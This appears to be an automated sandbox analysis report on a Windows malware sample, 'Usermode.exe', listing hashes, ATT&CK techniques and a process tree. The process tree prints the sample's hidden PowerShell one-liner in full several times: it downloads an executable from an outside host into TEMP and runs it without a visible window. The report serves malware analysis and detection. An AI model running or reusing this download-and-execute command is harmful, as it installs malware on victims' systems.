dc8949a291d347bcac79866817bb50ddc0c2644a4c6010bb8c41a20fc948c598

Analysis

geolocation tags

eueuropelondonukunited-kingdom
max time kernel
150s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
19/07/2026, 14:36

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General

Target
Usermode.exe
Size 550KB
Sample260719-ryptbafv6z
SHA256 dc8949a291d347bcac79866817bb50ddc0c2644a4c6010bb8c41a20fc948c598
MD5 714e5427cccc0894392c5c08e8a6d5bd
SHA1 d1741e417f3b1719c57765e0eada1fec3c5b665e
SHA512 e06616b447baf7589ecc8b180e63afe712d1b83e1e851aff252f2c9e6f3288331d264da13db2fe5fcbd961e9167c5d0a0d11dae581cb430d62af6305eb054bfa
SSDEEP 12288:ODIvvSrzjFbEeXDQs1FDbppFExE1e4jviAnCC:ODrzRE+DtF/DFPLiAnCC
TLSH
T1A6C4AF46F1E952F9C07BA1389A66D51BED3638141B7445CF33D408A81BB37F09BBA722
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2516	powershell.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4272	cmd.exe
404	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2516	powershell.exe
2516	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2516	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4672 wrote to memory of 4272	4672	Usermode.exe	91
PID 4272 wrote to memory of 404	4272	cmd.exe	92
PID 404 wrote to memory of 2516	404	cmd.exe	94

C:\Users\Admin\AppData\Local\Temp\Usermode.exe
"C:\Users\Admin\AppData\Local\Temp\Usermode.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4672
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK740187.exe; Start-Process -FilePath $env:TEMP\BK740187.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4272
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK740187.exe; Start-Process -FilePath $env:TEMP\BK740187.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:404
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK740187.exe; Start-Process -FilePath $env:TEMP\BK740187.exe -WindowStyle Hidden }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2516

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2516-0-0x00007FFA0545F000-0x00007FFA05460000-memory.dmp

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memory/2516-1-0x0000016E82DC0000-0x0000016E82DE2000-memory.dmp

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memory/2516-2-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

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memory/2516-5-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

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memory/2516-6-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

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memory/2516-7-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

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memory/2516-8-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

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memory/2516-9-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

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memory/2516-10-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

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memory/2516-11-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

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memory/2516-12-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

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memory/2516-13-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

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memory/2516-14-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

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memory/2516-16-0x00007FFA052D0000-0x00007FFA05C74000-memory.dmp

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